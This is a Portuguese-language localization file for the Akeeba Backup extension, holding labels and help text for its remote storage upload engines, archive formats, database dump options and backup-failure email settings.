COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSACCESSKEY_TITLE="Chave de Acesso"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSBUCKET_DESCRIPTION="O nome do seu bucket DreamObjects. Certifique-se de que é escrito tal como mostrado no painel de controlo DreamHost"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSBUCKET_TITLE="Bucket"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSDIRECTORY_DESCRIPTION="O diretório dentro do seu bucket onde os arquivos de cópia de segurança serão guardados. Deixe em branco para guardar os ficheiros na raiz do bucket."
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSDIRECTORY_TITLE="Diretório"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSLOWERCASE_DESCRIPTION="Se ativado, o Akeeba Backup tentará alterar o nome do bucket para apenas letras minúsculas, ou seja, MyBucket será convertido em mybucket. Se criou um bucket com letras maiúsculas, por exemplo MyNewBucket, desmarque esta opção e certifique-se de que o nome do bucket é escrito exatamente como aparece no seu painel de controlo DreamHost."
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSLOWERCASE_TITLE="Nome do bucket em minúsculas"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSSECRETKEY_DESCRIPTION="A sua Chave Secreta DreamObjects, disponibilizada no painel de controlo DreamHost"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSSECRETKEY_TITLE="Chave Secreta"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSUSESSL_DESCRIPTION="Se ativado, será usada uma ligação segura (HTTPS) ao enviar os seus ficheiros. Embora aumente a segurança dos dados transferidos, também aumenta a possibilidade de falha da cópia de segurança devido a tempo limite."
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSUSESSL_TITLE="Usar SSL"
COM_AKEEBABACKUP_CONFIG_DROPBOXDIRECTORY_DESCRIPTION="O diretório dentro da sua conta Dropbox onde os arquivos de cópia de segurança serão guardados. Deixe em branco para guardar os ficheiros na raiz."
COM_AKEEBABACKUP_CONFIG_DROPBOXDIRECTORY_TITLE="Diretório"
COM_AKEEBABACKUP_CONFIG_DROPBOXREFRESHTOKEN_DESCRIPTION="Este é o Token de Atualização que liga o Akeeba Backup ao Dropbox. Isto é <strong>específico do sítio</strong> e usado para reautorizar a ligação ao Dropbox quando o Token de Acesso de curta duração expira. Se tiver vários sítios, deve usar os botões do Passo 1 em todos e cada um dos sítios que pretende autorizar. Por favor <strong>NÃO</strong> copie o token de acesso ou de atualização entre vários sítios. Fará com que a autenticação do Dropbox fique dessincronizada e terá de voltar a ligar todos os seus sítios ao Dropbox."
COM_AKEEBABACKUP_CONFIG_DROPBOXREFRESHTOKEN_TITLE="Token de Atualização"
COM_AKEEBABACKUP_CONFIG_DROPBOXTOKEN_DESCRIPTION="Isto é obtido automaticamente do Dropbox quando clica no botão Passo 2 acima. Se tiver vários sítios, deve usar os botões do Passo 1 e do Passo 2 apenas no PRIMEIRO sítio que pretende autorizar. Depois, por favor copie o Token, a Chave Secreta do Token e o ID de Utilizador do primeiro sítio para todos os outros sítios que pretende ligar ao Dropbox."
COM_AKEEBABACKUP_CONFIG_DROPBOXTOKEN_TITLE="Token de Acesso"
COM_AKEEBABACKUP_CONFIG_DROPBOX_TEAM_DESC="Marque se for membro de uma equipa que usa o Dropbox for Business e pretender usar a pasta da sua equipa para guardar cópias de segurança. Lembre-se de prefixar o Diretório abaixo com o nome da pasta da sua equipa. Por exemplo, se a interface web do Dropbox mostrar uma “Acme Corp Team Folder” na página Ficheiros e pretender colocar as suas cópias de segurança numa pasta chamada “Backups” dentro dela, deve usar o nome de Diretório <code>Acme Corp Team Folder/Backups</code>, não apenas <code>Backups</code>."
COM_AKEEBABACKUP_CONFIG_DROPBOX_TEAM_TITLE="Dropbox for Business"
COM_AKEEBABACKUP_CONFIG_DUMPENGINE_DESCRIPTION="Define como o Akeeba Backup processará a(s) sua(s) base(s) de dados de forma a produzir um ficheiro de cópia de segurança da base de dados."
COM_AKEEBABACKUP_CONFIG_DUMPENGINE_TITLE="Motor de cópia de segurança da base de dados"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_COMMON="Definições Comuns"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_MYSQL="Definições MySQL"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_POSTGRES="Definições PostgreSQL"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_REVERSE="Definições de despejo de base de dados por engenharia reversa"
COM_AKEEBABACKUP_CONFIG_PGDUMP_PATH_DESCRIPTION="O caminho absoluto do sistema de ficheiros para a ferramenta de linha de comandos pg_dump no seu servidor. Se deixado vazio, o Akeeba Backup tentará detetá-lo automaticamente."
COM_AKEEBABACKUP_CONFIG_PGDUMP_PATH_TITLE="Caminho para o pg_dump"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_DESCRIPTION="Transfere os ficheiros do sítio para um servidor FTP remoto, sem os arquivar primeiro. Este motor de arquivamento usa a biblioteca cURL que oferece melhor compatibilidade com uma vasta gama de servidores FTP."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_PASVWORKAROUND_DESCRIPTION="Alguns servidores FTP mal configurados ou com mau comportamento devolvem o endereço IP errado quando o modo Passivo do FTP está ativado. Ative esta opção para forçar a biblioteca FTP a ignorar o IP errado devolvido pelo servidor FTP, usando em vez disso o IP público do servidor FTP."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_PASVWORKAROUND_TITLE="Solução alternativa para modo passivo"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_TITLE="DirectFTP sobre cURL"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTP_DESCRIPTION="Transfere os ficheiros do sítio para um servidor FTP remoto, sem os arquivar primeiro"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTP_TITLE="DirectFTP"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTPCURL_DESCRIPTION="Transfere os ficheiros do sítio para um servidor SFTP remoto, sem os arquivar primeiro. Este motor de arquivamento usa a biblioteca cURL que oferece melhor compatibilidade com uma vasta gama de servidores FTP."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTPCURL_TITLE="DirectSFTP sobre cURL"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTP_DESCRIPTION="Transfere os ficheiros do sítio para um servidor SFTP remoto, sem os arquivar primeiro. AVISO: O seu servidor de origem precisa de ter a extensão SSL2 do PHP instalada."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTP_TITLE="DirectSFTP"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPA_DESCRIPTION="Um formato de arquivo de código aberto otimizado para criação e extração rápida de arquivos usando código PHP"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPA_TITLE="Formato JPA (recomendado)"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPS_DESCRIPTION="Cria arquivos encriptados com o método de encriptação AES-128 padrão da indústria, num formato muito semelhante ao JPA. Requer que qualquer uma das extensões PHP mcrypt ou openssl esteja instalada e ativada no seu sítio."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPS_TITLE="Arquivos Encriptados (JPS)"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIPNATIVE_DESCRIPTION="O arquivo ZIP será criado usando a classe ZipArchive do PHP. IMPORTANTE: Este motor não suporta divisão de arquivos ou tratamento de ligações simbólicas e pode, portanto, levar a problemas na cópia de segurança. Se obtiver erros de tempo limite, erros AJAX ou mensagens de Erro Interno do Servidor, terá de mudar para um motor de arquivamento diferente e ativar a divisão de arquivos."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIPNATIVE_TITLE="ZIP usando a classe ZipArchive"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIP_DESCRIPTION="Ficheiros ZIP padrão, também conhecidos como \"Pastas comprimidas\", suportados nativamente por todos os principais sistemas operativos"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIP_TITLE="Formato ZIP"
COM_AKEEBABACKUP_CONFIG_ENGINE_DUMP_NATIVE_DESCRIPTION="Usa código PHP para produzir um despejo preciso da base de dados"
COM_AKEEBABACKUP_CONFIG_ENGINE_DUMP_NATIVE_TITLE="Motor de cópia de segurança MySQL nativo"
COM_AKEEBABACKUP_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE="Falhar a cópia de segurança em caso de falha de envio"
COM_AKEEBABACKUP_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION="Para imediatamente o processo de cópia de segurança, marcando-o como falhado, se ocorrer um erro de envio. <strong>Esta opção pode ser enganadora e perigosa.</strong> Pode ter uma cópia de segurança completa e válida que simplesmente falhou o envio no todo ou em parte. Ativar esta opção removerá os restantes ficheiros de arquivo da cópia de segurança do seu servidor e deixará para trás quaisquer ficheiros de arquivo (parcialmente) enviados para o armazenamento remoto. Por outras palavras, fica sem nenhuma cópia de segurança funcional. Há apenas muito poucos casos de utilização em que isto faz mais sentido do que o comportamento predefinido, que lhe permite retomar o envio do ficheiro de arquivo da cópia de segurança através da página Gerir Cópias de Segurança. Como tal, recomendamos vivamente que esta opção seja ativada apenas por utilizadores experientes que compreendam totalmente as implicações de o fazer."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_AZURE_DESCRIPTION="Envia o arquivo de cópia de segurança para o Armazenamento BLOB do Microsoft Windows Azure."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_AZURE_TITLE="Enviar para o Armazenamento BLOB do Microsoft Windows Azure"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BACKBLAZE_DESCRIPTION="Envia o arquivo de cópia de segurança para o BackBlaze."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BACKBLAZE_TITLE="Enviar para o BackBlaze B2"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BOX_DESCRIPTION="Envia o arquivo de cópia de segurança para o Box.com. Por favor leia a documentação."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BOX_TITLE="Enviar para o Box.com"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDFILES_DESCRIPTION="Envia o arquivo de cópia de segurança para o RackSpace CloudFiles.<br/><strong>Lembre-se de definir um tamanho de arquivo dividido de 2-30Mb ou arrisca-se a uma falha da cópia de segurança devido a tempos limite!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDFILES_TITLE="Enviar para o RackSpace CloudFiles"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDME_DESCRIPTION="Envia o arquivo de cópia de segurança para o CloudMe.<br/><strong>Lembre-se de definir um tamanho de arquivo dividido de 2-30Mb ou arrisca-se a uma falha da cópia de segurança devido a tempos limite!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDME_TITLE="Enviar para o CloudMe"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DREAMOBJECTS_DESCRIPTION="Envia o arquivo de cópia de segurança para o DreamObjects.<br/><strong>Lembre-se de definir um tamanho de arquivo dividido de 2-30Mb ou arrisca-se a uma falha da cópia de segurança devido a tempos limite!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DREAMOBJECTS_TITLE="Enviar para o DreamObjects"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DROPBOX2_DESCRIPTION="Envia o arquivo de cópia de segurança para o Dropbox usando a API V2 do Dropbox. Esta API é mais rápida e permite-lhe ligar facilmente a sua conta Dropbox a vários sítios."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DROPBOX2_TITLE="Enviar para o Dropbox (API v2)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_EMAIL_DESCRIPTION="Envia-lhe o arquivo de cópia de segurança como anexo de e-mail.<br/><strong>Lembre-se de definir um tamanho de arquivo dividido de 1-2Mb ou arrisca-se a uma falha da cópia de segurança devido a tempos limite e esgotamento de memória!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_EMAIL_TITLE="Enviar por E-mail"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTPCURL_DESCRIPTION="Envia o arquivo de cópia de segurança para um servidor FTP ou FTPS (FTP sobre SSL Implícito) remoto.<br/>Este motor de pós-processamento usa a biblioteca cURL que oferece melhor compatibilidade com uma vasta gama de servidores FTP.<br/><strong>Lembre-se de definir um tamanho de arquivo dividido de 2-30Mb ou arrisca-se a uma falha da cópia de segurança devido a tempos limite!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTPCURL_TITLE="Enviar para servidor FTP remoto usando cURL"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTP_DESCRIPTION="Envia o arquivo de cópia de segurança para um servidor FTP ou FTPS (FTP sobre SSL Implícito) remoto.<br/><strong>Lembre-se de definir um tamanho de arquivo dividido de 2-30Mb ou arrisca-se a uma falha da cópia de segurança devido a tempos limite!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTP_TITLE="Enviar para servidor FTP remoto"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLEDRIVE_DESCRIPTION="Envia o arquivo de cópia de segurança para o Google Drive. Por favor leia a documentação."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLEDRIVE_TITLE="Enviar para o Google Drive"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGEJSON_DESCRIPTION="Envia o arquivo de cópia de segurança para o Google Storage usando a moderna JSON API. Esta é a integração recomendada com o Google Storage.<br/><strong>Lembre-se de definir um tamanho de arquivo dividido de 2-30Mb ou arrisca-se a uma falha da cópia de segurança devido a tempos limite!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGEJSON_TITLE="Enviar para o Google Storage (JSON API)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGE_DESCRIPTION="Envia o arquivo de cópia de segurança para o Google Storage usando a emulação da API S3 legada. Isto está descontinuado e será removido no futuro. Por favor use a opção JSON API em vez disso.<br/><strong>Lembre-se de definir um tamanho de arquivo dividido de 2-30Mb ou arrisca-se a uma falha da cópia de segurança devido a tempos limite!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGE_TITLE="Enviar para o Google Storage (API S3 Legada)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_IDRIVESYNC_DESCRIPTION="Envia o arquivo de cópia de segurança para o iDriveSync EVS (iDriveSync.com).<br/><strong>Lembre-se de definir um tamanho de arquivo dividido de 2-30Mb ou arrisca-se a uma falha da cópia de segurança devido a tempos limite!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_IDRIVESYNC_TITLE="Enviar para o iDriveSync"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_NONE_DESCRIPTION="Deixa os ficheiros de arquivo da cópia de segurança no servidor"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_NONE_TITLE="Sem pós-processamento"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEBUSINESS_DESCRIPTION="Envia o arquivo de cópia de segurança para o Microsoft OneDrive ou Microsoft OneDrive for Business."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEBUSINESS_TITLE="Enviar para o Microsoft OneDrive ou OneDrive for Business"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVE_DESCRIPTION="Envia o arquivo de cópia de segurança para o Microsoft OneDrive. Isto só suporta drives pessoais, criados com a sua Conta Microsoft pessoal. Não suporta o OneDrive for Business nem contas OneDrive criadas através de uma conta escolar / profissional ou de uma subscrição do Microsoft Office 365. Este método de envio será REMOVIDO numa versão futura do Akeeba Backup. Use o método Enviar Para o Microsoft OneDrive em vez disso."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVE_TITLE="Enviar para o Microsoft OneDrive (LEGADO)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_OVH_DESCRIPTION="Envia o arquivo de cópia de segurança para o OVH Object Storage. <br/><strong>Lembre-se de definir um tamanho de arquivo dividido de 2-30Mb ou arrisca-se a uma falha da cópia de segurança devido a tempos limite!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_OVH_TITLE="Enviar para o OVH Object Storage"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_PCLOUD_DESCRIPTION="Envia o arquivo de cópia de segurança para o pCloud. ESTE MOTOR DE PÓS-PROCESSAMENTO SERÁ REMOVIDO. A AUTENTICAÇÃO NÃO ESTÁ A FUNCIONAR DEVIDO A PROBLEMAS NO SERVIDOR DE API DO pCloud."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_PCLOUD_TITLE="Enviar para o pCloud (NÃO USAR - SERÁ REMOVIDO)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_S3_DESCRIPTION="Envia o arquivo de cópia de segurança para o Amazon S3. Permite-lhe usar tanto a nova autenticação (AWS4) necessária para localizações S3 mais recentes como a antiga autenticação (AWS2) necessária para fornecedores de armazenamento de terceiros que oferecem uma API compatível com S3.<br/><strong>Se desativar os envios multiparte, lembre-se de definir um tamanho de arquivo dividido de 2-30Mb ou arrisca-se a uma falha da cópia de segurança devido a tempos limite!</strong><br/>Se pretender usar o Amazon STS em vez de uma Chave de Acesso e Secreta, por favor leia a documentação."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_S3_TITLE="Enviar para o Amazon S3"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTPCURL_DESCRIPTION="Envia o arquivo de cópia de segurança para um servidor SFTP (SSH) remoto. Esta é uma transferência de ficheiros sobre SSH usando um protocolo chamado SFTP que é <em>totalmente diferente</em> de FTP e FTPS.<br/>Este motor de pós-processamento usa o cURL para a transferência de dados, uma biblioteca compatível com uma vasta gama de servidores SFTP.<br/><strong>Lembre-se de definir um tamanho de arquivo dividido de 2-30Mb ou arrisca-se a uma falha da cópia de segurança devido a tempos limite!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTPCURL_TITLE="Enviar para servidor SFTP (SSH) remoto usando cURL"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTP_DESCRIPTION="Envia o arquivo de cópia de segurança para um servidor SFTP (SSH) remoto. Esta é uma transferência de ficheiros sobre SSH usando um protocolo chamado SFTP que é <em>totalmente diferente</em> de FTP e FTPS.<br/><strong>Lembre-se de definir um tamanho de arquivo dividido de 2-30Mb ou arrisca-se a uma falha da cópia de segurança devido a tempos limite!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTP_TITLE="Enviar para servidor SFTP (SSH) remoto"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SUGARSYNC_DESCRIPTION="Envia o arquivo de cópia de segurança para o SugarSync.<br/><strong>Lembre-se de definir um tamanho de arquivo dividido de 2-30Mb ou arrisca-se a uma falha da cópia de segurança devido a tempos limite!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SUGARSYNC_TITLE="Enviar para o SugarSync"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SWIFT_DESCRIPTION="Envia o arquivo de cópia de segurança para qualquer servidor de armazenamento de objetos OpenStack Swift, por exemplo um criado com a distribuição Ubuntu do OpenStack ou outras nuvens privadas. NÃO use este método com o RackSpace CloudFiles! O CloudFiles usa um método de autenticação personalizado que é incompatível com o serviço de identidade Keystone do OpenStack (o que literalmente todas as outras implementações do OpenStack usam).<br/><strong>Lembre-se de definir um tamanho de arquivo dividido de 2-30Mb ou arrisca-se a uma falha da cópia de segurança devido a tempos limite!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SWIFT_TITLE="Enviar para o armazenamento de objetos OpenStack Swift"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_WEBDAV_DESCRIPTION="Envia o arquivo de cópia de segurança para qualquer serviço de armazenamento que suporte o protocolo WebDAV.<br/><strong>Lembre-se de definir um tamanho de arquivo dividido de 2-30Mb ou arrisca-se a uma falha da cópia de segurança devido a tempos limite!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_WEBDAV_TITLE="Enviar usando WebDAV"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_LARGE_DESCRIPTION="Um analisador de ficheiros otimizado para fazer cópia de segurança de sítios com diretórios que contêm centenas de ficheiros (por exemplo, blogues e portais de notícias)"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_LARGE_TITLE="Analisador de sítios grandes"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_SMART_DESCRIPTION="Equilibra de forma inteligente a velocidade de análise e a prevenção de tempos limite"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_SMART_TITLE="Analisador inteligente"
COM_AKEEBABACKUP_CONFIG_ERR_DECRYPTION="Não foi possível desencriptar as definições. O seu servidor não suporta a encriptação de definições ou o ficheiro da chave de encriptação foi modificado ou eliminado."
COM_AKEEBABACKUP_CONFIG_EXTENDEDINSERTS_DESCRIPTION="Se marcado, o despejo da base de dados será feito de instruções INSERT estendidas, ou seja, uma única instrução para restaurar várias linhas de dados. É altamente recomendado que mantenha esta opção ativada, pois acelerará o processo de restauração e contornará os limites de quota de consultas em alojamentos restritivos."
COM_AKEEBABACKUP_CONFIG_EXTENDEDINSERTS_TITLE="Gerar INSERTs estendidos"

COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_SEPARATOR="<strong>Verificar envios falhados</strong>"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILADDRESS_LABEL="Endereço de E-mail de Envio Falhado"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILADDRESS_DESC="Enviar o e-mail de falha de envio para este endereço. Deixe em branco para enviar e-mail a todos os Super Utilizadores."
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILSUBJECT_LABEL="Assunto do E-mail de Envio Falhado"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILSUBJECT_DESC="O assunto dos e-mails que o notificam de envios falhados. Deixe em branco para usar a predefinição. Pode usar todas as variáveis do Akeeba Backup que pode usar para nomear ficheiros de arquivo, por exemplo [HOST] e [DATE]"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILBODY_LABEL="Corpo do E-mail de Envio Falhado"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILBODY_DESC="Deixe em branco para usar a predefinição. Pode usar todas as variáveis do Akeeba Backup que pode usar para nomear ficheiros de arquivo, por exemplo [HOST] e [DATE]."

COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILADDRESS_DESC="Enviar e-mail para este endereço (deixe em branco para enviar e-mail a todos os Super Utilizadores)"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILADDRESS_LABEL="Endereço de e-mail"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILBODY_DESC="Deixe em branco para usar a predefinição. Pode usar todas as variáveis do Akeeba Backup que pode usar para nomear ficheiros de arquivo, por exemplo [HOST] e [DATE]."
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILBODY_LABEL="Corpo do E-mail"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILSUBJECT_DESC="Deixe em branco para usar a predefinição. Pode usar todas as variáveis do Akeeba Backup que pode usar para nomear ficheiros de arquivo, por exemplo [HOST] e [DATE]"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILSUBJECT_LABEL="Assunto do E-mail"
COM_AKEEBABACKUP_CONFIG_FAILURE_FEBENABLE_DESC="Permite verificar cópias de segurança falhadas usando um URL de agendamento no frontend. Por favor lembre-se de ir ao Akeeba Backup, clicar em Opções, depois no separador Frontend. Defina “Ativar API Legada de Cópia de Segurança no Frontend (tarefas CRON remotas)” como Sim para ativar esta funcionalidade."
COM_AKEEBABACKUP_CONFIG_FAILURE_FEBENABLE_LABEL="Verificação de cópias de segurança falhadas a partir do frontend ativada"

COM_AKEEBABACKUP_CONFIG_FAILURE_TIMEOUT_DESC="Uma cópia de segurança será considerada bloqueada (falhada) após este número de segundos de inatividade.<br/>NÃO ALTERE ESTE VALOR A MENOS QUE SAIBA O QUE ESTÁ A FAZER!"
COM_AKEEBABACKUP_CONFIG_FAILURE_TIMEOUT_LABEL="Tempo limite de cópia de segurança bloqueada"
COM_AKEEBABACKUP_CONFIG_FEEMAILBODY_DESC="Deixe em branco para usar a predefinição. Pode usar todas as variáveis do Akeeba Backup que pode usar para nomear ficheiros de arquivo, por exemplo [HOST] e [DATE]. Pode também usar [PROFILENUMBER] para o número do perfil atual, [PROFILENAME] para o nome do perfil atual, [PARTCOUNT] para o número total de partes do arquivo de cópia de segurança geradas, [FILELIST] para uma lista de partes do arquivo de cópia de segurança e [REMOTESTATUS] para uma indicação sobre se o envio para o armazenamento remoto foi concluído com sucesso."
COM_AKEEBABACKUP_CONFIG_FEEMAILBODY_LABEL="Corpo do E-mail"
COM_AKEEBABACKUP_CONFIG_FEEMAILSUBJECT_DESC="Deixe em branco para usar a predefinição. Pode usar todas as variáveis do Akeeba Backup que pode usar para nomear ficheiros de arquivo, por exemplo [HOST] e [DATE]"
COM_AKEEBABACKUP_CONFIG_FEEMAILSUBJECT_LABEL="Assunto do E-mail"
COM_AKEEBABACKUP_CONFIG_FORCEDBACKUPTZ_DEFAULT="Comportamento predefinido do Joomla!"
COM_AKEEBABACKUP_CONFIG_FORCEDBACKUPTZ_DESC="A data e hora da cópia de segurança -tal como registadas no nome do ficheiro, descrição predefinida e e-mails- serão expressas neste fuso horário. Esta opção afeta todas as origens de cópia de segurança, ou seja, todas as cópias de segurança, independentemente de como são realizadas (através do próprio Akeeba Backup, da JSON API remota, etc.)."
COM_AKEEBABACKUP_CONFIG_FORCEDBACKUPTZ_LABEL="Fuso horário da cópia de segurança"
COM_AKEEBABACKUP_CONFIG_FRONTENDEMAIL_DESC="Enviar um e-mail de notificação após realizar uma cópia de segurança com a funcionalidade de Cópia de Segurança no Frontend (API Legada) ou JSON API."
COM_AKEEBABACKUP_CONFIG_FRONTENDEMAIL_LABEL="E-mail ao concluir a cópia de segurança"
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_ALWAYS="Sempre"
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_DESC="Quando devo enviar o e-mail ao concluir a cópia de segurança? Sempre significa sempre que uma cópia de segurança é concluída. Envio Falhado significa que o e-mail só é enviado se a cópia de segurança estiver completa mas o envio para o armazenamento remoto não tiver sido concluído com sucesso. Se a cópia de segurança falhar, nenhum e-mail pode ser enviado por esta funcionalidade; consulte a página Agendar Cópias de Segurança Automáticas para obter informações sobre como receber e-mail sobre cópias de segurança falhadas."
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_FAILEDUPLOAD="Envio Falhado"
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_LABEL="Quando enviar o e-mail"
COM_AKEEBABACKUP_CONFIG_FRONTEND_HEADER_DESC="<strong>Estas opções aplicam-se apenas ao Akeeba Backup Professional</strong>. Controle as opções de funcionalidades remotas e agendadas do Akeeba Backup. Para mais informações sobre o agendamento de cópias de segurança, por favor consulte a página de Informações de Agendamento no Akeeba Backup Professional ou a nossa documentação."
COM_AKEEBABACKUP_CONFIG_FRONTEND_HEADER_LABEL="Cópia de segurança no frontend"
COM_AKEEBABACKUP_CONFIG_FTPTEST_BADPREFIX="NÃO deve adicionar o prefixo ftp:// ao Nome do Host FTP. Por favor remova o prefixo ftp:// e tente novamente."
COM_AKEEBABACKUP_CONFIG_FTPTEST_NOUPLOAD="O Akeeba Backup conseguiu ligar-se ao seu servidor, mas não conseguiu enviar um ficheiro de teste. O envio da cópia de segurança pode falhar."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_ACCESSTOKEN_DESCRIPTION="Preenchido automaticamente quando concluir o Passo 1 da autenticação acima. Se estiver a ligar outro sítio à mesma conta Google Drive, NÃO copie o token de acesso e NÃO execute a autenticação. Em vez disso, simplesmente copie o Token de Atualização do sítio anterior para este."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_ACCESSTOKEN_TITLE="Token de Acesso"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_DIRECTORY_DESCRIPTION="O diretório dentro do Google Drive para guardar os arquivos de cópia de segurança. Por favor use barras normais. Correto: some/thing. Errado: some\\thing. Uma única barra normal significa que os arquivos serão guardados na raiz do drive. LEIA A DOCUMENTAÇÃO: Os caminhos no Google Drive são ambíguos!"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_DIRECTORY_TITLE="Diretório"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_REFRESHTOKEN_TITLE="Token de Atualização"
